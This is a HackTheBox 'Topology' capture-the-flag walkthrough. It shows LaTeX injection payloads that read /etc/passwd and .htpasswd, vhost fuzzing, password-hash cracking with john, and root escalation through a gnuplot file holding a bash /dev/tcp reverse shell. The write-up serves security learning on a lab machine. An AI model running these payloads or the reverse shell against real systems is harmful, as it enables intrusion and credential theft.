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https://github.com/AbdullahRizwan101/CTF-Writeups
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165 lines
4.5 KiB
Markdown
165 lines
4.5 KiB
Markdown
# HackTheBox - Topology
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## NMAP
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```bash
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Nmap scan report for 10.10.11.217
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Host is up (0.20s latency).
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Not shown: 65533 closed tcp ports (reset)
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PORT STATE SERVICE VERSION
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22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)
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| 256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)
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|_ 256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)
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80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
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| http-methods:
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|_ Supported Methods: OPTIONS HEAD GET POST
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|_http-title: Miskatonic University | Topology Group
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|_http-server-header: Apache/2.4.41 (Ubuntu)
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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```
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## PORT (80)
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Visiting the webserver, we'll have a static page
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<img src="https://i.imgur.com/nYjZ5OX.png"/>
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This page lists software projects, out of which Latex Equation Generator
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takes us to `latex.topology.htb
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<img src="https://i.imgur.com/5RgHI76.png"/>
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<img src="https://i.imgur.com/niyLqk6.png"/>
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Adding the domain name in `/etc/hosts` file
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<img src="https://i.imgur.com/QPTxnsw.png"/>
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<img src="https://i.imgur.com/r0Lg2Zz.png"/>
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Putting `\input{/etc/passwd}` will result to an illegal command
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<img src="https://i.imgur.com/xleqN1d.png"/>
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<img src="https://i.imgur.com/TYGGTRX.png"/>
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Most of the commands were blacklisted, we can only read the first line of files with:
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```tex
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\newread\file
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\openin\file=/etc/passwd
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\read\file to\line
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\text{\line}
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\closein\file
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```
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<img src="https://i.imgur.com/q1jPyzz.png"/>
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We can make it read more lines but the limit was 3-4 lines
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```tex
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\newread\file
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\openin\file=/etc/passwd
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\read\file to\line
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\text{\line}
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\read\file to\line
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\text{\line}
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\read\file to\line
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\text{\line}
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\read\file to\line
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\text{\line}
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\closein\file
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```
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<img src="https://i.imgur.com/3gVYWjf.png"/>
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Exceeding 4 lines, we'll get an error
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<img src="https://i.imgur.com/opJdPJ9.png"/>
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Visiting the site the site with it's root directory `/` will reveal directory listing having `tempfolder`, in that folder we'll find `texput.log`
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<img src="https://i.imgur.com/T8senjo.png"/>
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<img src="https://i.imgur.com/KrXeZpW.png"/>
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So `\write18` is restricted, we cannot use it to execute commands neither read files, we can try fuzzing for vhosts using `wfuzz
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`
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```bash
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wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://topology.htb' -H "Host: FUZZ.topology.htb" --hh 6767
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```
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<img src="https://i.imgur.com/VD6jSN8.png"/>
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This finds two more vhosts, `dev` and `stats`, stats site doesn't really have much
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<img src="https://i.imgur.com/AXgEtzd.png"/>
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Dev site asks for credentials to access the site
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<img src="https://i.imgur.com/XFM2XYc.png"/>
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Since the latex on the site is using `inline math mode` , we can try using `lsinputlisting` for reading local files and we need to use it with `$` at the beginning and ending of the latex command
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```tex
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$\lstinputlisting{/etc/passwd}$
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```
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<img src="https://i.imgur.com/pLdmtMu.png"/>
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With this we can access the whole /etc/passwd file and see that the sites are being hosted in `/var/www`
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<img src="https://i.imgur.com/U7svMyW.png"/>
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We can read `/var/www/dev/.htaccess` file which shows that there's `.htpasswd` file
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<img src="https://i.imgur.com/FGVAmvx.png"/>
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<img src="https://i.imgur.com/kpzzPFv.png"/>
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`vadaisley's` hash can be cracked with john
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```bash
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john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
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```
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<img src="https://i.imgur.com/szYfpCz.png"/>
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And now we can login through ssh
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<img src="https://i.imgur.com/XMd5SsJ.png"/>
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Checking `sudo -l` this user cannot run any commands as root or any user
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<img src="https://i.imgur.com/rtRVy7p.png"/>
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In `/opt` there's folder `gnuplot` where we have only write access
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<img src="https://i.imgur.com/7xZmjDm.png"/>
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From `pspy` we see gnuplot being ran as the root user and executing plt files
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<img src="https://i.imgur.com/f7olWjh.png"/>
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We can create a plt file with a bash reverse shell and move it in `/opt/gnuplot`
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```bash
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system "bash -i >& /dev/tcp/10.10.14.111/2222 0>&1"
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```
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<img src="https://i.imgur.com/XooC51X.png"/>
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After few seconds we'll see our plt being executed as root and receive a connection on our listener with a root shell
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<img src="https://i.imgur.com/34ASzjj.png"/>
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## References
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- https://0day.work/hacking-with-latex/
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- https://texdoc.org/serve/latex2e.pdf/0
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- https://www1.cmc.edu/pages/faculty/aaksoy/latex/latexthree.html
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- https://en.wikibooks.org/wiki/LaTeX/Source_Code_Listings
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- http://www.gnuplot.info/docs_4.2/node327.html
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